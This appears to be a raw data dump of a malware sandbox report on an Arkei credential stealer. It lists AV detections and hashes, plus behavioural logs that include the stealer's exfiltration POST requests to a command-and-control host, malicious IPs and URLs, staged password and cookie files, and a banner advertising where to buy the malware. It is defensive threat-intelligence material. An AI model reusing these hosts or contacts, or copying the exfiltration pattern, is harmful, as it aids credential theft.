24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Zusy.Generic Sample 10846bf1e146… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 10846bf1e146…. Malware family: Zusy.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","keywords":["Malicious","Zusy.Generic","malware analysis","sandbox report","threat intelligence","10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d"],"about":{"@type":"SoftwareApplication","name":"Arkei.exe","applicationCategory":["peexe","executable"],"identifier":"10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Zusy.Generic","antivirusDetections":{"malicious":21,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T539,GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-48-00F01EE0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-317-00F088E0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-316-00F08C80 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-312-00F09B00 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-325-00F06BE0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-323-00F07320 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-329-00F05AD0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-307-00F0AD20 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-314-00F093C0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-304-00F0B800 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-322-00F076C0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-305-00F0B460 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-315-00F09020 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-309-00F0A5E0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-330-00F05730 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-328-00F06210 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-310-00F0A240 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-313-00F09760 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-319-00F081A0 GetUserNameW@ADVAPI32.DLL at 00014119-00002920-57884-327-00F05E7026:T607,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\SysWOW64\cmd.exe" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db" "6087529549.exe" touched file "C:\Windows\SysWOW64\tzres.dll" "6087529549.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "6087529549.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "6087529549.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "6087529549.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "6087529549.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "6087529549.exe" touched file "C:\Windows\SysWOW64\rsaenh.dll" "6087529549.exe" touched file "C:\Windows\SysWOW64\wshqos.dll"27:T798,"POST /line/?fields=query HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25User-Agent: Arkei/8.0Host: ip-api.comConnection: Keep-AliveCache-Control: no-cache" with no payload "POST /line/?fields=countryCode HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25User-Agent: Arkei/8.0Host: ip-api.comConnection: Keep-AliveCache-Control: no-cache" with no payload "POST /server/grubConfig HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25User-Agent: Arkei/8.0Host: adminpc.ruConnection: Keep-AliveCache-Control: no-cache" with no payload "POST /server/gate HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 265409User-Agent: Arkei/8.0Host: adminpc.ruConnection: Keep-AliveCache-Control: no-cache" with no payload28:T705,"%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c-shm" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c-wal" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\cookies_Mozilla Firefox_fg6ygf16.default.log" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\Desktop.zip" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\information.log" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\passwords.log" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\screenshot.bmp" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\62976927916b06490d-f9fd-424c-8b6d-83edc4369e89.zip" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c" for deletion "%ALLUSERSPROFILE%\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe" marked "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files" for deletion29:T688,"6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c-shm" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c-wal" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\62976927916b06490d-f9fd-424c-8b6d-83edc4369e89.zip" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\cookies_Mozilla Firefox_fg6ygf16.default.log" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\Desktop.zip" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\information.log" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\passwords.log" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\files\screenshot.bmp" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\c" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\cm" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\ld" with delete access "6087529549.exe" opened "C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\wd" with delete access2a:T415,"" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "6087529549.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "6087529549.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "6087529549.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "6087529549.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "6087529549.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")2b:T677,"" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL") "6087529549.exe" wrote bytes "c0dfbc771cf9bb77ccf8bb770d64bd7700000000c011d67600000000fc3ed67600000000e013d676000000009457cb7625e0bc77c6e0bc7700000000bc6aca7600000000cf31d676000000009319cb76000000002c32d67600000000" to virtual address "0x75601000" (part of module "NSI.DLL") "6087529549.exe" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL") "6087529549.exe" wrote bytes "0efcbf7781edbe77ae86bd77c6e0bc77effdbf772d16be77c0fcbb77da8fc6776014c077478dbd77a8e2bc776089bd7700000000ad3717778b2d1777b641177700000000" to virtual address "0x73A71000" (part of module "WSHIP6.DLL") "6087529549.exe" wrote bytes "7d07c07781edbe77ae86bd77c6e0bc77effdbf772d16be776014c077478dbd77a8e2bc776089bd7700000000ad3717778b2d1777b641177700000000" to virtual address "0x73981000" (part of module "WSHTCPIP.DLL") "cmd.exe" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL") "taskkill.exe" wrote bytes "c0dfbc771cf9bb77ccf8bb770d64bd7700000000c011d67600000000fc3ed67600000000e013d676000000009457cb7625e0bc77c6e0bc7700000000bc6aca7600000000cf31d676000000009319cb76000000002c32d67600000000" to virtual address "0x75601000" (part of module "NSI.DLL") "taskkill.exe" wrote bytes "7111d9017a3bd801ab8b02007f950200fc8c0200729602006cc805001ecdd5017d26d501" to virtual address "0x75E907E4" (part of module "USER32.DLL")2c:Tc39,Found malicious artifacts related to "185.194.141.58": ... File SHA256: 685ed100fc864fc0c88edd7aa45f4887d48f5717b02a6610fb6fc4de1401df27 (AV positives: 1/69 scanned on 04/02/2018 13:44:43) File SHA256: 032b6407d70ffecbb29a813e2e2b7bbc051553ff232229c47c4a2ba41d07c003 (AV positives: 1/69 scanned on 04/02/2018 10:17:54) File SHA256: 64ee286a280284814c8806592a001ad1fb6aa08d75a651643368531fe959f974 (AV positives: 3/69 scanned on 04/02/2018 02:00:25) File SHA256: a58e785437ce7bf6b9c58ad32e40df703c4a8e9e52bbb805547116fdf1f28cc8 (AV positives: 1/69 scanned on 04/02/2018 00:44:55) File SHA256: 46b343df364a80855a8184896b9841a0c55376630f60211958c1427ccfb7ddd5 (AV positives: 18/67 scanned on 04/02/2018 00:23:46) File SHA256: d00fbe8a309dbbc5e079e18e25806cda597e4167e5e49c75f660ae370124ff5a (Date: 04/01/2018 21:36:59) File SHA256: ec4b6f5172083d6007ed1c667fd6607fa669e05c0a6a4c610609bc14ae6843dd (Date: 03/30/2018 20:50:16) File SHA256: d3fc8dff6e64a2e163b83bc5c91d2d6edc5832d337c55406c0a913fad6077314 (Date: 03/30/2018 20:49:57) File SHA256: 86158c1d6837481a472f5b2dbc48a19b2fecc27b9d0a358efb4a0b4ca8d29611 (Date: 03/30/2018 17:13:22) File SHA256: 96f914b853012e270aa75cbe93b32480dea47132b86c74d45804b597d7dc19d7 (Date: 03/30/2018 17:13:10) Found malicious artifacts related to "193.111.63.97": ... URL: http://prodzakaz.com.ua/ (AV positives: 2/67 scanned on 04/02/2018 09:43:13) URL: http://free-pro.ru/cmd.php?hwid=2828F8AD (AV positives: 4/67 scanned on 04/01/2018 10:07:20) URL: http://sysinform.ru/xarakteristiki-informacionnyx-sistem/ (AV positives: 1/67 scanned on 03/31/2018 15:28:05) URL: http://free-pro.ru/cmd.php?hwid=6C32D6AE (AV positives: 4/67 scanned on 03/30/2018 10:32:24) URL: http://free-pro.ru/cmd.php?timeout=1 (AV positives: 4/67 scanned on 03/30/2018 10:32:20) File SHA256: 2657c2286bf8f793098e44574badb78ad6c4ba72f5f93e7763f6166da798aff5 (AV positives: 23/59 scanned on 03/31/2018 05:15:50) File SHA256: 4682033dd60099fdaf8059d6b54542de785b837b0f597c5daf98c339deb1968a (AV positives: 34/67 scanned on 03/31/2018 05:05:39) File SHA256: 3a1e10ce01ad63aa75a620d3c543743112f4994e9b579ab897a12dc84979e7bf (AV positives: 35/65 scanned on 03/29/2018 16:03:18) File SHA256: 27bfb2f351b1e44fbbe5278fce703a968d247f58c4e260dd83b39dad62362d86 (AV positives: 34/67 scanned on 03/29/2018 14:25:38) File SHA256: 08f969fb984b2cbee50496973ba6302a07faaed411f0e83265e5019e15d4ea7d (Date: 03/29/2018 18:39:26) File SHA256: 02fa97b8f3898e73d8d9b7b2586edbad8015eb16b951f7e010d785e4c3ca7bdd (AV positives: 11/66 scanned on 03/28/2018 12:34:40) File SHA256: a71e4394d3e30ce493f5a51f1362676d0b63b5abd7b57740b73ee3730e831b20 (Date: 03/14/2018 11:34:08) File SHA256: 6a2294b5f2aec562da640adadfa9ca12fa3a4563 (Date: 03/14/2018 11:34:08) File SHA256: e0e1a7ca1a92d4edf839153396af4d943fbb3ed689f906fb84e4ccd78152bdbe (Date: 03/14/2018 11:38:00) File SHA256: 72ebc04489dbdf2bc803f42a8b090e67 (Date: 03/14/2018 11:34:07) File SHA256: a7299680a8520a6729ab61d0badd163f49ba6d40 (Date: 03/14/2018 11:38:00) File SHA256: b55cd2c06c9a253345a11a15834f1eaa66d50cd44c3bde89a33022abbc6d993c (Date: 01/25/2018 17:52:31)2d:T4aa,"[=======================================================][==================== Arkei Stealer ====================][=======================================================][================= Develop by Foxovsky =================][=======================================================][====================== Buy Arkei: =====================][================== t.me/arsenkooo135 =================][=======================================================]Date: Tue Apr 03 00:04:11 2018MachineID: 6b06490d-f9fd-424c-8b6d-83edc4369e89IP: 193.70.47.200Country: FRPath: C:\ProgramData\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\6087529549.exe Windows: Windows 7 Professional Windows Username: ond2ALwProcessor: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz Videocard: VirtualBox Graphics Adapter [System Processes] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe lsm.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe spoolsv.exe svchost.exe taskhost.exe dwm.exe explorer.exe svchost.exe svchost.exe WmiPrvSE.exe conhost.exe taskhost.exe conhost.exe conhost.exe conhost.exe 6087529549.exe dllhost.exe" "csrss.exe" "lsass.exe"2e:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790357420405,"unified_at":"2026-09-25T17:30:20.405Z","metadata":{"hashes":{"sha256":"10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","sha1":"e992ac5348c73de9add2faab38eeccdfe53f92d7","md5":"6e7a49310f71e4495fb7ff42e2273747","sha512":"4d007d6b17f39f4cfe70df3a8bcdcd88c3e3fe74d899ad9b443fe74e5a82f558202536c3fe6d33c962ab674117706e56eb23454bee76363a329ba5eb53030dbb","ssdeep":"24576:wZh6Igbs+U9MRdM6BzMTrmvlZ6iQ0oAAcMsYJlkM:+FSpAiFAcYJOM","ssdeep_chunks":["24576:wZh6Igb","24576:Zh6Igbs","24576:h6Igbs+","24576:6Igbs+U","24576:Igbs+U9","24576:gbs+U9M","24576:bs+U9MR","24576:s+U9MRd","24576:+U9MRdM","24576:U9MRdM6","24576:9MRdM6B","24576:MRdM6Bz","24576:RdM6BzM","24576:dM6BzMT","24576:M6BzMTr","24576:6BzMTrm","24576:BzMTrmv","24576:zMTrmvl","24576:MTrmvlZ","24576:TrmvlZ6","24576:rmvlZ6i","24576:mvlZ6iQ","24576:vlZ6iQ0","24576:lZ6iQ0o","24576:Z6iQ0oA","24576:6iQ0oAA","24576:iQ0oAAc","24576:Q0oAAcM","24576:0oAAcMs","24576:oAAcMsY","24576:AAcMsYJ","24576:AcMsYJl","24576:cMsYJlk","24576:MsYJlkM","49152:wZh6Igb","49152:Zh6Igbs","49152:h6Igbs+","49152:6Igbs+U","49152:Igbs+U9","49152:gbs+U9M","49152:bs+U9MR","49152:s+U9MRd","49152:+U9MRdM","49152:U9MRdM6","49152:9MRdM6B","49152:MRdM6Bz","49152:RdM6BzM","49152:dM6BzMT","49152:M6BzMTr","49152:6BzMTrm","49152:BzMTrmv","49152:zMTrmvl","49152:MTrmvlZ","49152:TrmvlZ6","49152:rmvlZ6i","49152:mvlZ6iQ","49152:vlZ6iQ0","49152:lZ6iQ0o","49152:Z6iQ0oA","49152:6iQ0oAA","49152:iQ0oAAc","49152:Q0oAAcM","49152:0oAAcMs","49152:oAAcMsY","49152:AAcMsYJ","49152:AcMsYJl","49152:cMsYJlk","49152:MsYJlkM","24576:+FSpAiF","24576:FSpAiFA","24576:SpAiFAc","24576:pAiFAcY","24576:AiFAcYJ","24576:iFAcYJO","24576:FAcYJOM"],"imphash":"38ea6f39f66a13952d0df81911d291fa"},"file_info":{"file_name":"Arkei.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":850944,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1522706437000,"last_seen":1639829466000,"last_multi_scan":1639829466000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["azorult","banker","banload","bitcoinminer","coinminer","commodity","criminal","floxif","miner"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":20,"suspicious_count":18,"malicious_count":9,"total":47},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[PSW]/Win32.Tepfer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1111964","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Midie.101476","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Midie.101476 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/AutoRun.Spy.Agent.T worm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/CoinMiner.ci","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Worm.Win32.AutoRun","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"P2PWorm ( 005297b11 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXEN-GL!6E7A49310F71","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Tepfer.ezhkho","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick 